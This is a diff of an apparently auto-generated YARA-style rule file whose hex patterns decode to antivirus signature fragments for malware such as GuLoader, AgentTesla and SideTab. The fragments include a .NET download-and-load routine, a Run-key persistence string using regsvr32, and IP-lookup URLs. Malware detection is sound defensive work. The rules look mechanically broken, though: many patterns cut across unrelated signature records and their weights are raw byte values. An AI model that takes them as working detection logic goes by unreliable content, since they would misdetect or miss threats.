63 6b 73 65 74 74 65 72 01 00 0e 81 01 } //12358 + $a_70_4 = {6b 61 73 73 65 72 6e 65 73 01 00 0d 81 01 75 64 65 66 69 6e 65 72 6c 69 67 73 74 01 00 0e 81 01 63 61 74 63 68 77 6f 72 64 73 2e 65 78 65 01 00 0c 81 01 6e 6f 6e 67 72 61 76 69 74 69 65 73 00 00 78 a1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 56 31 32 33 21 4d 54 42 } //27240 condition: - ((#a_54_0 & 1)*18467+(#a_6e_2 & 1)*29268+(#a_01_4 & 1)*1792+(#a_69_5 & 1)*30575) >=6 + ((#a_54_0 & 1)*18467+(#a_6e_2 & 1)*29268+(#a_21_3 & 1)*12358+(#a_70_4 & 1)*27240) >=6 } -rule _InfrastructureShared_11148{ +rule _InfrastructureShared_11866{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 46 30 31 21 4d 54 42 00 01 00 14 81 01 6b 65 6e 64 74 65 73 20 69 6d 70 65 72 76 69 6f 75 73 6c 79 01 00 0b 81 01 62 72 69 63 6b 73 65 74 74 65 72 01 00 0e 81 01 68 6a 6c 70 } //18467 + $a_73_1 = {65 72 6e 65 73 01 00 0d 81 01 75 64 65 66 69 6e 65 72 6c 69 67 73 74 01 00 0e 81 01 63 61 74 63 68 77 6f 72 64 73 2e 65 78 65 01 00 0c 81 01 6e 6f 6e 67 72 61 76 69 74 69 65 73 00 00 78 a1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 56 } //27493 + $a_21_2 = {54 42 00 01 00 07 81 01 72 65 70 65 61 74 73 01 00 10 81 01 6b 75 6c 74 75 72 67 65 6f 67 72 61 66 69 65 6e 01 00 1f 81 01 61 72 63 74 69 69 64 20 64 69 } //12849 + $a_63_3 = {6f 75 73 6c 79 20 64 72 79 73 61 6c 74 65 72 79 01 00 06 81 01 62 61 61 6c 65 74 01 00 13 81 01 72 65 66 72 6e 73 61 6e 67 65 6e 20 63 6f 62 68 65 61 64 01 00 0a 81 01 6c 69 74 68 6f 74 72 69 74 79 00 00 78 a1 00 00 0a 00 0a 00 0c 00 21 23 4c 6f 77 46 69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 } //29811 + $a_4f_4 = {00 01 00 06 01 81 c0 f8 ff ff ff 01 00 06 01 81 c1 f8 ff ff ff 01 00 06 01 81 c2 f8 ff ff ff 01 00 06 01 81 c3 f8 ff ff ff 01 00 06 01 81 c6 f8 ff ff ff 01 00 06 01 81 c7 f8 ff ff ff 01 00 06 01 81 c8 ff ff ff ff 01 00 06 01 81 } //29295 + $a_ff_5 = {01 00 06 01 81 ca ff ff ff ff 01 00 06 01 81 cb ff ff ff ff 01 00 06 01 81 ce ff ff ff ff 01 00 06 01 81 cf ff ff ff ff 00 00 78 a1 00 00 0b 00 0b 00 04 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 43 6f 6e 73 65 6e 74 42 79 70 61 73 73 2e 48 00 01 00 15 01 4c 69 73 74 42 6f 78 5f 53 75 70 70 6f 72 74 5f 43 4c 53 49 44 01 00 0c 01 5c 44 65 66 61 75 6c 74 20 54 61 62 05 00 18 01 49 67 6e 6f 72 65 46 72 61 6d 65 41 70 70 72 6f 76 61 6c 43 68 65 63 6b 05 00 23 01 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69 63 69 65 73 5c 45 78 74 00 00 78 a1 00 00 0b 00 0b 00 07 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 54 65 61 43 75 70 2e 41 21 64 68 61 00 01 00 04 01 21 } //-55 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27493+(#a_21_2 & 1)*12849+(#a_63_3 & 1)*29811+(#a_4f_4 & 1)*29295+(#a_ff_5 & 1)*-55) >=6 + +} +rule _InfrastructureShared_11867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -122316,7 +130348,7 @@ rule _InfrastructureShared_11148{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*27763+(#a_01_2 & 1)*-1+(#a_65_3 & 1)*25449+(#a_69_4 & 1)*28271+(#a_41_5 & 1)*8448) >=6 } -rule _InfrastructureShared_11149{ +rule _InfrastructureShared_11868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -122336,7 +130368,7 @@ rule _InfrastructureShared_11149{ ((#a_77_0 & 1)*19491+(#a_ff_1 & 1)*-13695+(#a_00_2 & 1)*4660+(#a_2e_3 & 1)*23553+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720+(#a_00_9 & 1)*30720+(#a_00_10 & 1)*30720+(#a_00_11 & 1)*30720) >=10 } -rule _InfrastructureShared_11150{ +rule _InfrastructureShared_11869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -122349,7 +130381,7 @@ rule _InfrastructureShared_11150{ ((#a_77_0 & 1)*19491+(#a_6e_1 & 1)*22273+(#a_50_2 & 1)*19804+(#a_64_3 & 1)*26978) >=11 } -rule _InfrastructureShared_11151{ +rule _InfrastructureShared_11870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 07 00 21 " @@ -122364,7 +130396,7 @@ rule _InfrastructureShared_11151{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28518+(#a_00_2 & 1)*66+(#a_90_4 & 1)*5642+(#a_72_5 & 1)*14930+(#a_01_6 & 1)*11009) >=11 } -rule _InfrastructureShared_11152{ +rule _InfrastructureShared_11871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -122375,7 +130407,7 @@ rule _InfrastructureShared_11152{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28632) >=12 } -rule _InfrastructureShared_11153{ +rule _InfrastructureShared_11872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -122387,7 +130419,7 @@ rule _InfrastructureShared_11153{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*3857+(#a_79_2 & 1)*29797) >=12 } -rule _InfrastructureShared_11154{ +rule _InfrastructureShared_11873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -122400,7 +130432,7 @@ rule _InfrastructureShared_11154{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*27022+(#a_2e_2 & 1)*27763+(#a_01_3 & 1)*1792) >=13 } -rule _InfrastructureShared_11155{ +rule _InfrastructureShared_11874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 07 00 21 " @@ -122414,7 +130446,7 @@ rule _InfrastructureShared_11155{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*-32490+(#a_44_2 & 1)*14149+(#a_41_5 & 1)*8448+(#a_00_6 & 1)*90) >=14 } -rule _InfrastructureShared_11156{ +rule _InfrastructureShared_11875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -122426,16 +130458,16 @@ rule _InfrastructureShared_11156{ $a_2d_6 = {64 35 34 2d 38 36 63 66 2d 64 39 33 64 64 37 37 65 32 37 38 63 00 00 78 a1 00 00 10 00 10 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 } //26163 $a_6c_7 = {2e 4c 35 34 21 4d 54 42 00 0a 00 16 02 03 07 03 6f 90 01 04 5d 17 58 28 90 01 04 28 90 01 04 59 0c 90 00 01 00 05 00 41 73 63 57 00 01 00 04 00 43 68 72 57 01 00 0e 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 13 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0b 00 54 } //25940 $a_61_8 = {41 72 72 61 79 00 00 78 a1 00 00 13 00 13 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 31 30 30 38 21 4d 54 42 00 0a 00 0e 01 00 58 58 58 58 58 58 00 53 00 57 53 53 00 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 05 00 09 01 67 65 74 } //17263 - $a_49_9 = {49 01 00 10 01 4f 6e 43 72 65 61 74 65 4d 61 69 6e 46 6f 72 6d 01 00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 00 00 78 a1 00 00 1f 00 1f 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 } //22623 - $a_69_10 = {65 54 61 62 00 0a 00 15 00 73 69 64 65 74 61 62 2e 63 6f 2e 6b 72 2f 75 70 64 61 74 65 2f 0a 00 11 00 53 6f 66 74 77 61 72 65 5c 57 61 6c 6c 54 61 62 00 0a 00 0b 00 57 61 6c 6c 54 61 62 2e 69 6e 69 01 00 2d 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 } //12082 - $a_66_11 = {5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 01 00 10 00 72 65 67 73 76 72 33 32 20 2f 73 20 22 25 73 22 00 00 78 a1 00 00 29 00 29 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 50 6f 73 73 69 62 6c 65 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 30 31 00 0a 00 0b 01 53 79 73 74 65 6d 2e 4e 65 74 00 0a 00 } //29551 - $a_65_12 = {43 6c 69 65 6e 74 00 0a 00 0f 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 0a 00 11 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 01 00 15 03 41 70 70 44 6f 6d 61 69 6e 00 90 02 60 00 4c 6f 61 64 00 90 00 01 00 14 03 41 73 73 65 6d 62 6c 79 00 90 02 } //266 - $a_6f_13 = {64 00 90 00 00 00 78 a1 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 74 61 4e 69 6c 65 2e 53 21 64 68 61 00 64 00 70 01 25 53 50 44 46 2d 32 25 49 48 44 52 3c 3c 2f 54 79 70 65 } //96 + $a_49_9 = {49 01 00 10 01 4f 6e 43 72 65 61 74 65 4d 61 69 6e 46 6f 72 6d 01 00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 00 00 78 a1 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //22623 + $a_36_10 = {2f 4c 61 7a 79 2e 4c 4d 42 21 4d 54 42 00 0f 00 31 01 41 0f b6 08 ff c2 83 e1 0f 4a 0f be 84 11 80 59 07 00 42 8a 8c 11 90 59 07 00 4c 2b c0 41 8b 40 fc d3 e8 4c 89 47 08 89 47 18 41 0f b6 08 83 e1 0f 0a 00 40 01 41 0f b6 08 83 e1 0f 4a 0f be 94 31 80 59 07 00 42 8a 8c 31 90 59 07 00 4c 2b c2 41 8b 50 fc d3 ea 89 53 14 48 8b 5c } //26967 + $a_2b_11 = {48 8b 6c 24 18 49 8b c0 48 8b 74 24 20 48 8b 7c 24 28 41 5e 00 00 78 a1 00 00 1e 00 1e 00 02 00 21 23 48 53 54 52 3a 49 50 43 68 65 63 6b 2e 48 41 21 4d 54 42 00 1e 00 30 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 69 00 } //4132 + $a_00_12 = {68 00 6f 00 69 00 73 00 2e 00 61 00 70 00 70 00 2f 00 78 00 6d 00 6c 00 2f 00 1e 00 4b 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 69 00 70 00 2d 00 61 00 70 00 69 00 2e 00 63 00 6f 00 6d 00 2f 00 6c 00 69 00 6e 00 65 00 2f 00 3f 00 66 00 69 00 65 00 6c 00 64 00 73 00 3d 00 68 00 6f 00 73 00 74 00 69 00 6e 00 67 00 00 78 a1 00 00 1f 00 1f 00 05 00 21 23 } //112 + $a_61_13 = {65 3a 57 69 6e 33 32 2f 53 69 64 65 54 61 62 00 0a 00 15 00 73 69 64 65 74 61 62 2e 63 6f 2e 6b 72 2f 75 70 64 61 74 65 2f 0a 00 11 00 53 6f 66 74 77 61 72 65 5c 57 61 6c 6c 54 61 62 00 0a 00 0b 00 57 61 6c 6c 54 61 62 2e 69 6e 69 01 00 2d 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 } //25665 condition: - ((#a_46_0 & 1)*16675+(#a_fb_1 & 1)*1024+(#a_c9_3 & 1)*-4095+(#a_6f_5 & 1)*12545+(#a_2d_6 & 1)*26163+(#a_6c_7 & 1)*25940+(#a_61_8 & 1)*17263+(#a_49_9 & 1)*22623+(#a_69_10 & 1)*12082+(#a_66_11 & 1)*29551+(#a_65_12 & 1)*266+(#a_6f_13 & 1)*96) >=14 + ((#a_46_0 & 1)*16675+(#a_fb_1 & 1)*1024+(#a_c9_3 & 1)*-4095+(#a_6f_5 & 1)*12545+(#a_2d_6 & 1)*26163+(#a_6c_7 & 1)*25940+(#a_61_8 & 1)*17263+(#a_49_9 & 1)*22623+(#a_36_10 & 1)*26967+(#a_2b_11 & 1)*4132+(#a_00_12 & 1)*112+(#a_61_13 & 1)*25665) >=14 } -rule _InfrastructureShared_11157{ +rule _InfrastructureShared_11876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -122445,12 +130477,12 @@ rule _InfrastructureShared_11157{ $a_4c_2 = {41 67 65 6e 74 54 65 73 6c 61 2e 4c 35 34 21 4d 54 42 00 0a 00 16 02 03 07 03 6f 90 01 04 5d 17 58 28 90 01 04 28 90 01 04 59 0c 90 00 01 00 05 00 41 73 63 57 00 01 00 04 00 43 68 72 57 01 00 0e 00 43 72 65 61 74 65 49 } //21325 $a_61_3 = {63 65 01 00 13 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0b 00 54 6f 43 68 61 72 41 72 72 61 79 00 00 78 a1 00 00 13 00 13 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 31 30 30 38 21 4d 54 42 00 0a 00 0e 01 00 58 58 58 } //29550 $a_00_4 = {53 00 57 53 53 00 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 05 00 09 01 67 65 74 5f 58 56 49 49 49 01 00 10 01 4f 6e 43 72 65 61 74 65 4d 61 69 6e 46 6f 72 6d 01 00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 01 00 0e 01 } //22616 - $a_4c_5 = {74 65 42 69 6e 64 69 6e 67 00 00 78 a1 00 00 1f 00 1f 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 53 69 64 65 54 61 62 00 0a 00 15 00 73 69 64 65 74 61 62 2e 63 6f 2e 6b 72 2f 75 70 64 61 74 65 2f 0a 00 11 00 53 6f 66 74 77 61 72 65 5c 57 61 6c 6c 54 61 62 00 0a 00 0b 00 57 61 6c 6c 54 61 62 2e 69 6e 69 01 00 2d 01 53 4f 46 54 57 41 52 45 5c 4d } //25934 + $a_4c_5 = {74 65 42 69 6e 64 69 6e 67 00 00 78 a1 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 42 21 4d 54 42 00 0f 00 31 01 41 0f b6 08 ff c2 83 e1 0f 4a 0f be 84 11 80 59 07 00 42 8a 8c 11 90 59 07 00 4c 2b c0 41 8b 40 fc d3 e8 4c 89 47 08 89 47 18 41 0f b6 08 83 e1 0f 0a 00 40 01 41 0f b6 08 83 e1 0f 4a 0f } //25934 condition: ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*385+(#a_4c_2 & 1)*21325+(#a_61_3 & 1)*29550+(#a_00_4 & 1)*22616+(#a_4c_5 & 1)*25934) >=15 } -rule _InfrastructureShared_11158{ +rule _InfrastructureShared_11877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -122458,30 +130490,50 @@ rule _InfrastructureShared_11158{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4c 35 34 21 4d 54 42 00 0a 00 16 02 03 07 03 6f 90 01 04 5d 17 58 28 90 01 04 28 90 01 04 59 0c 90 00 01 00 05 00 41 73 63 57 00 01 00 04 00 43 68 72 57 01 00 } //16675 $a_72_1 = {61 74 65 49 6e 73 74 61 6e 63 65 01 00 13 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0b 00 54 6f 43 68 61 72 41 72 72 61 79 00 } //14 $a_00_2 = {00 13 00 13 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 31 30 30 38 21 4d 54 42 00 0a 00 0e 01 00 58 58 58 58 58 58 00 53 00 57 53 53 00 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 05 00 09 01 67 65 74 5f 58 56 49 49 49 01 00 10 01 4f 6e 43 72 65 61 74 65 4d 61 69 6e 46 6f 72 6d 01 00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 00 } //30720 - $a_00_3 = {00 1f 00 1f 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 53 69 64 65 54 61 62 00 0a 00 15 00 73 69 64 65 74 61 62 2e 63 6f 2e 6b 72 2f 75 70 64 61 74 65 2f 0a 00 11 00 53 6f 66 74 77 61 72 65 5c 57 61 6c 6c 54 61 62 00 0a 00 0b 00 57 61 6c 6c 54 61 62 2e 69 6e 69 01 00 2d 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 01 00 10 00 72 65 67 73 76 72 33 32 20 2f 73 20 22 25 73 22 00 } //30720 - $a_00_4 = {00 29 00 29 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 50 6f 73 73 69 62 6c 65 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 30 31 00 0a 00 0b 01 53 79 73 74 65 6d 2e 4e 65 74 00 0a 00 0a 01 57 65 62 43 6c 69 65 6e 74 00 0a 00 0f 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 0a 00 11 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 01 00 15 03 41 70 70 44 6f 6d 61 69 6e 00 90 02 60 00 4c 6f 61 64 00 90 00 01 00 14 03 41 73 73 65 6d 62 6c 79 00 90 02 60 00 4c 6f 61 64 00 90 00 00 } //30720 - $a_00_5 = {00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 74 61 4e 69 6c 65 2e 53 21 64 68 61 00 64 00 70 01 25 53 50 44 46 2d 32 25 49 48 44 52 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 2f 50 61 67 65 73 32 30 52 2f 4c 61 6e 67 2f 53 74 72 75 63 74 52 6f 6f 74 32 38 30 52 2f 4d 61 72 6b 49 6e 66 6f 3c 3c 2f 4d 61 72 6b 65 64 74 72 75 65 3e 3e 3e 3e 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 43 69 70 68 65 72 2f 4c 65 6e 67 74 68 3e 3e 00 } //30720 - $a_00_6 = {00 64 00 64 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 50 4c 00 01 00 32 03 50 6a db 83 c4 04 53 81 ed 00 00 00 00 5b 2c 00 78 90 01 01 52 86 cc 86 cc 5a 3b d6 c1 ed 40 7f 90 01 01 57 f7 c6 90 01 04 5f f9 53 50 c1 f5 80 90 00 01 00 35 03 89 cb 81 c3 90 01 04 53 c3 68 08 01 00 00 68 ec 00 00 00 68 fc 00 00 00 31 c0 68 00 00 cf 00 68 90 01 04 68 90 01 04 50 8b 0d 90 01 04 68 90 01 04 51 c3 90 00 00 00 02 } //30720 + $a_00_3 = {00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 42 21 4d 54 42 00 0f 00 31 01 41 0f b6 08 ff c2 83 e1 0f 4a 0f be 84 11 80 59 07 00 42 8a 8c 11 90 59 07 00 4c 2b c0 41 8b 40 fc d3 e8 4c 89 47 08 89 47 18 41 0f b6 08 83 e1 0f 0a 00 40 01 41 0f b6 08 83 e1 0f 4a 0f be 94 31 80 59 07 00 42 8a 8c 31 90 59 07 00 4c 2b c2 41 8b 50 fc d3 ea 89 53 14 48 8b 5c 24 10 4c 2b c6 48 8b 6c 24 18 49 8b c0 48 8b 74 24 20 48 8b 7c 24 28 41 5e 00 } //30720 + $a_00_4 = {00 1e 00 1e 00 02 00 21 23 48 53 54 52 3a 49 50 43 68 65 63 6b 2e 48 41 21 4d 54 42 00 1e 00 30 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 69 00 70 00 77 00 68 00 6f 00 69 00 73 00 2e 00 61 00 70 00 70 00 2f 00 78 00 6d 00 6c 00 2f 00 1e 00 4b 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 69 00 70 00 2d 00 61 00 70 00 69 00 2e 00 63 00 6f 00 6d 00 2f 00 6c 00 69 00 6e 00 65 00 2f 00 3f 00 66 00 69 00 65 00 6c 00 64 00 73 00 3d 00 68 00 6f 00 73 00 74 00 69 00 6e 00 67 00 } //30720 + $a_00_5 = {00 1f 00 1f 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 53 69 64 65 54 61 62 00 0a 00 15 00 73 69 64 65 74 61 62 2e 63 6f 2e 6b 72 2f 75 70 64 61 74 65 2f 0a 00 11 00 53 6f 66 74 77 61 72 65 5c 57 61 6c 6c 54 61 62 00 0a 00 0b 00 57 61 6c 6c 54 61 62 2e 69 6e 69 01 00 2d 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 01 00 10 00 72 65 67 73 76 72 33 32 20 2f 73 20 22 25 73 22 00 } //30720 + $a_00_6 = {00 29 00 29 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 50 6f 73 73 69 62 6c 65 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 30 31 00 0a 00 0b 01 53 79 73 74 65 6d 2e 4e 65 74 00 0a 00 0a 01 57 65 62 43 6c 69 65 6e 74 00 0a 00 0f 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 0a 00 11 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 01 00 15 03 41 70 70 44 6f 6d 61 69 6e 00 90 02 60 00 4c 6f 61 64 00 90 00 01 00 14 03 41 73 73 65 6d 62 6c 79 00 90 02 60 00 4c 6f 61 64 00 90 00 00 } //30720 condition: ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*14+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=16 } -rule _InfrastructureShared_11159{ +rule _InfrastructureShared_11878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 31 30 30 38 21 4d 54 42 00 0a 00 0e 01 00 58 58 58 58 58 58 00 53 00 57 53 53 00 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 05 00 09 01 67 65 74 5f 58 } //18467 - $a_49_1 = {00 10 01 4f 6e 43 72 65 61 74 65 4d 61 69 6e 46 6f 72 6d 01 00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 00 00 78 a1 00 00 1f 00 1f 00 05 00 21 23 } //18774 - $a_61_2 = {65 3a 57 69 6e 33 32 2f 53 69 64 65 54 61 62 00 0a 00 15 00 73 69 64 65 74 61 62 2e 63 6f 2e 6b 72 2f 75 70 64 61 74 65 2f 0a 00 11 00 53 6f 66 74 77 61 72 65 5c 57 61 6c 6c 54 61 62 00 0a 00 0b 00 57 61 6c 6c 54 61 62 2e 69 6e 69 01 00 2d 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 } //25665 - $a_5c_3 = {75 6e 01 00 10 00 72 65 67 73 76 72 33 32 20 2f 73 20 22 25 73 22 00 00 78 a1 00 00 29 00 29 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 50 6f 73 73 69 62 6c 65 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 30 31 00 0a 00 0b 01 53 79 73 74 65 6d 2e 4e 65 74 00 0a 00 0a 01 57 65 62 43 6c 69 65 6e 74 00 0a 00 0f 01 44 6f 77 6e 6c 6f 61 64 } //28521 - $a_69_4 = {67 00 0a 00 11 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 01 00 15 03 41 70 70 44 6f 6d 61 69 6e 00 90 02 60 00 4c 6f 61 64 00 90 00 01 00 14 03 41 73 73 65 6d 62 6c 79 00 90 02 60 00 4c 6f 61 64 00 90 00 00 00 78 a1 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 74 61 4e 69 6c 65 } //29779 - $a_64_5 = {61 00 64 00 70 01 25 53 50 44 46 2d 32 25 49 48 44 52 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 } //21294 + $a_49_1 = {00 10 01 4f 6e 43 72 65 61 74 65 4d 61 69 6e 46 6f 72 6d 01 00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 01 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 00 00 78 a1 00 00 19 00 19 00 02 00 21 23 } //18774 + $a_3a_2 = {72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 42 21 4d 54 42 00 0f 00 31 01 41 0f b6 08 ff c2 83 e1 0f 4a 0f be 84 11 80 59 07 00 42 8a 8c 11 90 59 07 00 4c 2b c0 41 8b 40 fc d3 e8 4c 89 47 08 89 47 18 41 0f b6 08 83 } //17748 + $a_00_3 = {40 01 41 0f b6 08 83 e1 0f 4a } //4065 + $a_31_4 = {59 07 00 42 8a 8c 31 90 59 07 00 4c 2b c2 41 8b 50 fc d3 ea 89 53 14 48 8b 5c 24 10 4c 2b c6 48 8b 6c 24 18 49 8b c0 48 8b 74 24 20 48 8b 7c 24 28 41 5e 00 00 78 a1 00 00 1e 00 1e 00 02 00 21 23 48 53 54 52 3a 49 50 43 68 65 63 6b 2e 48 41 21 4d 54 42 00 1e 00 30 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 69 00 70 00 77 00 68 00 6f 00 69 00 73 00 2e 00 61 00 70 00 70 00 2f 00 78 00 6d 00 6c 00 2f 00 1e 00 4b 01 68 00 74 00 74 00 70 } //-16881 condition: - ((#a_54_0 & 1)*18467+(#a_49_1 & 